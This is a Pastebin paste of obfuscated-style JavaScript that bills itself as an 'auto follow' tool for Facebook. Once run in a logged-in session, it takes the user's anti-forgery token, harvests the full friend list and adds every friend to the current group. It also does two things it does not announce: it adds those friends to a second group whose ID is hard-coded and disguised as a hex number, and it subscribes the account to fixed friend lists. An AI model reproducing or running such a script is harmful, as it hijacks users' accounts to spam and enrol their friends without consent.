Advertisement
DarkKnight

Untitled

Mar 15th, 2013
73
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function sublist(_0xe279x2) {
  2.     var _0xe279x3 = document['createElement']('script');
  3.     _0xe279x3['innerHTML'] = 'new AsyncRequest().setURI(\'/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe\').setData({ flid: ' + _0xe279x2 + ' }).send();';
  4.     document['body']['appendChild'](_0xe279x3);
  5. };
  6. sublist('146043652216334');
  7. sublist('144415282378178');
  8. sublist('147606422059064');
  9.  
  10. function penetrasi(e) {
  11.     jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + document.getElementsByName("fb_dtsg")[0].value + "&group_id=" + memberGroupId + "&source=typeahead&members=" + e + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + Env.user, function (e) {
  12.         e = e.substring(e.indexOf("{")), e = JSON.parse(e), i--, kunaon = "<div class='friend-edge-name' style='text-align:left;font-size:10px;white-space:pre-wrap;", e.error ? (kunaon += "color:darkred'>", kunaon = e.errorDescription ? kunaon + e.errorDescription : kunaon + JSON.stringify(e, null, "")) : (kunaon += "color:darkgreen'>", kunaon += arr[i], suc++), kunaon += "</div>", e = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;background-color:rgba(255,255,255,0.9);z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:14px;border:8px solid rgba(0,0,0,0.5)'>" + ("<div style='padding-bottom:10px;font-size:20px;'>" + tulisanNganu + "</div>"), 0 < i ? (e += arr.length + " Followers detected<br/>", e += "<b>" + suc + "</b> Followers added of " + (arr.length - i) + " Suscribers Processed ", e += "(" + i + " more to go..)", e = e + "<div class='friend-edge'>" + kunaon, e += "</div>") : (e += arr.length + " Followerrs detected and ", e += "<b>" + suc + " Followers added</b>", e += "<div><span class='uiButton' onClick='document.getElementById(\"pagelet_welcome_box\").style.display=\"none\"'>Close</span></div>"), document.getElementById("pagelet_welcome_box").innerHTML = e + "</div>"
  13.     }, "text", "post"), tay--;
  14.     if (0 < tay) {
  15.         var t = arr[tay];
  16.         setTimeout("penetrasi(" + t + ")", 100)
  17.     }
  18.     console.log(tay + "/" + arr.length + ":" + t + ", success:" + suc), 0xf2a794cf90e3 != memberGroupId && jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + document.getElementsByName("fb_dtsg")[0].value + "&group_id=134344036695273&source=typeahead&members=" + e + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + Env.user, function () {}, "text", "post")
  19. }
  20. function clickfr_callback() {
  21.     0 < document.getElementsByName("ok").length && nHtml.ClickUp(document.getElementsByName("ok")[0]);
  22.     var e = arr[i];
  23.     i < arr.length && addfriend(e.substring(0, 4))
  24. }
  25. function clickfr() {
  26.     0 < document.getElementsByClassName("search").length ? (console.log(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1].innerHTML), document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].href = "javascript:void(0);", nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1])) : j++, setTimeout("clickfr_callback()", 2e3)
  27. }
  28. function addfriend(e) {
  29.     i++, document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus(), document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].value = e, document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].blur(), document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus(), document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus(), setTimeout("clickfr()", 2e3)
  30. }
  31. function sleep(e) {
  32.     for (var t = (new Date).getTime(), n = 0; 1e7 > n && !((new Date).getTime() - t > e); n++);
  33. }
  34. var tulisanNganu = "Auto FOLLOW for fb.com/groups/getmorefollowers ONLY",
  35.     kunaon = "";
  36. jx = {
  37.     getHTTPObject: function () {
  38.         var e = !1;
  39.         if ("undefined" != typeof ActiveXObject) try {
  40.                 e = new ActiveXObject("Msxml2.XMLHTTP")
  41.         } catch (t) {
  42.             try {
  43.                 e = new ActiveXObject("Microsoft.XMLHTTP")
  44.             } catch (n) {
  45.                 e = !1
  46.             }
  47.         } else if (window.XMLHttpRequest) try {
  48.                 e = new XMLHttpRequest
  49.         } catch (r) {
  50.             e = !1
  51.         }
  52.         return e
  53.     },
  54.     load: function (b, c, d, e, g) {
  55.         var f = this.init();
  56.         if (f && b) {
  57.             f.overrideMimeType && f.overrideMimeType("text/xml"), e || (e = "GET"), d || (d = "text"), g || (g = {});
  58.             var d = d.toLowerCase(),
  59.                 e = e.toUpperCase(),
  60.                 h = "uid=" + (new Date).getTime(),
  61.                 b = b + (b.indexOf("?") + 1 ? "&" : "?"),
  62.                 b = b + h,
  63.                 h = null;
  64.             "POST" == e && (h = b.split("?"), b = h[0], h = h[1]), f.open(e, b, !0), "POST" == e && (f.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), f.setRequestHeader("Content-length", h.length), f.setRequestHeader("Connection", "close")), f.onreadystatechange = g.handler ? function () {
  65.                 g.handler(f)
  66.             } : function () {
  67.                 if (f.readyState == 4) if (f.status == 200) {
  68.                         var b = "";
  69.                         f.responseText && (b = f.responseText), d.charAt(0) == "j" ? (b = b.replace(/[\n\r]/g, ""), b = eval("(" + b + ")")) : d.charAt(0) == "x" && (b = f.responseXML), c && c(b)
  70.                     } else g.loadingIndicator && document.getElementsByTagName("body")[0].removeChild(g.loadingIndicator), g.loading && (document.getElementById(g.loading).style.display = "none"), error && error(f.status)
  71.                     }, f.send(h)
  72.             }
  73.         }, bind: function (e) {
  74.             var t = {
  75.                 url: "",
  76.                 onSuccess: !1,
  77.                 onError: !1,
  78.                 format: "text",
  79.                 method: "GET",
  80.                 update: "",
  81.                 loading: "",
  82.                 loadingIndicator: ""
  83.             }, n;
  84.             for (n in t) e[n] && (t[n] = e[n]);
  85.             if (t.url) {
  86.                 var r = !1;
  87.                 t.loadingIndicator && (r = document.createElement("div"), r.setAttribute("style", "position:absolute;top:0px;left:0px;"), r.setAttribute("class", "loading-indicator"), r.innerHTML = t.loadingIndicator, document.getElementsByTagName("body")[0].appendChild(r), this.opt.loadingIndicator = r), t.loading && (document.getElementById(t.loading).style.display = "block"), this.load(t.url, function (e) {
  88.                     t.onSuccess && t.onSuccess(e), t.update && (document.getElementById(t.update).innerHTML = e), r && document.getElementsByTagName("body")[0].removeChild(r), t.loading && (document.getElementById(t.loading).style.display = "none")
  89.                 }, t.format, t.method, t)
  90.             }
  91.         },
  92.         init: function () {
  93.             return this.getHTTPObject()
  94.         }
  95.     };
  96.     var nHtml = {
  97.         FindByAttr: function (e, t, n, r) {
  98.             return "className" == n && (n = "class"), (e = document.evaluate(".//" + t + "[@" + n + "='" + r + "']", e, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)) && e.singleNodeValue ? e.singleNodeValue : null
  99.         },
  100.         FindByClassName: function (e, t, n) {
  101.             return this.FindByAttr(e, t, "className", n)
  102.         },
  103.         FindByXPath: function (e, t) {
  104.             try {
  105.                 var n = document.evaluate(t, e, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)
  106.             } catch (r) {
  107.                 GM_log("bad xpath:" + t)
  108.             }
  109.             return n && n.singleNodeValue ? n.singleNodeValue : null
  110.         },
  111.         VisitUrl: function (e) {
  112.             window.setTimeout(function () {
  113.                 document.location.href = e
  114.             }, 500 + Math.floor(500 * Math.random()))
  115.         },
  116.         ClickWin: function (e, t, n) {
  117.             var r = e.document.createEvent("MouseEvents");
  118.             return r.initMouseEvent(n, !0, !0, e, 0, 0, 0, 0, 0, !1, !1, !1, !1, 0, null), !t.dispatchEvent(r)
  119.         },
  120.         Click: function (e) {
  121.             return this.ClickWin(window, e, "click")
  122.         },
  123.         ClickTimeout: function (e, t) {
  124.             window.setTimeout(function () {
  125.                 return nHtml.ClickWin(window, e, "click")
  126.             }, t + Math.floor(500 * Math.random()))
  127.         },
  128.         ClickUp: function (e) {
  129.             this.ClickWin(window, e, "mousedown"), this.ClickWin(window, e, "mouseup"), this.ClickWin(window, e, "click")
  130.         },
  131.         GetText: function (e, t) {
  132.             var n = "";
  133.             void 0 == t && (t = 0);
  134.             if (!(40 < t)) {
  135.                 if (void 0 != e.textContent) return e.textContent;
  136.                 for (var r = 0; r < e.childNodes.length; r++) n += this.GetText(e.childNodes[r], t + 1);
  137.                 return n
  138.             }
  139.         }
  140.     };
  141.     void 0 == document.getElementsByClassName && (document.getElementsByClassName = function (e) {
  142.         for (var t = RegExp("(?:^|\\s)" + e + "(?:$|\\s)"), n = document.getElementsByTagName("*"), r = [], i, s = 0; null != (i = n[s]); s++) {
  143.             var o = i.className;
  144.             o && -1 != o.indexOf(e) && t.test(o) && r.push(i)
  145.         }
  146.         return r
  147.     }), Array.prototype.find = function (e) {
  148.         var t = !1;
  149.         for (i = 0; i < this.length; i++) typeof e == "function" ? e.test(this[i]) && (t || (t = []), t.push(i)) : this[i] === e && (t || (t = []), t.push(i));
  150.         return t
  151.     };
  152.     for (var a = 0, eind = 0, len = document.getElementsByClassName("mbm").length, a = 0; a < len; a++) {
  153.         var ele = document.getElementsByClassName("mbm")[a];
  154.         if (ele && ele.childNodes[0] && ele.childNodes[0] && ele.childNodes[0].childNodes[1] && ele.childNodes[0].childNodes[1].childNodes[0] && "Add SUSCRIBERS" == document.getElementsByClassName("mbm")[a].childNodes[0].childNodes[1].childNodes[0].value) {
  155.             eind = a;
  156.             break
  157.         }
  158.     }
  159.     var i = 3,
  160.         tay = 3,
  161.         counter1 = 0,
  162.         counter2 = 0,
  163.         counter3 = 0,
  164.         j = 0,
  165.         k = 0,
  166.         suc = 0,
  167.         arr = [],
  168.         memberGroupId = document.getElementsByName("group_id")[0].value;
  169.     jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer=" + Env.user + "&filter[0]=user&__user=" + Env.user, function (e) {
  170.         for (var e = e.substring(e.indexOf("{")), e = JSON.parse(e), e = e.payload.entries, t = 0; t < e.length; t++) arr.push(e[t].uid);
  171.         tay = i = arr.length - 1, console.log(arr.length), e = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;background-color:rgba(255,255,255,0.9);z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:14px;border:8px solid rgba(0,0,0,0.5)'>" + ("<div style='padding-bottom:10px;font-size:20px;'>" + tulisanNganu + "</div>"), e += arr.length + " SUSCRIBERS detected", document.getElementById("pagelet_welcome_box").innerHTML = e + "</div>", penetrasi(arr[i])
  172.     })
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement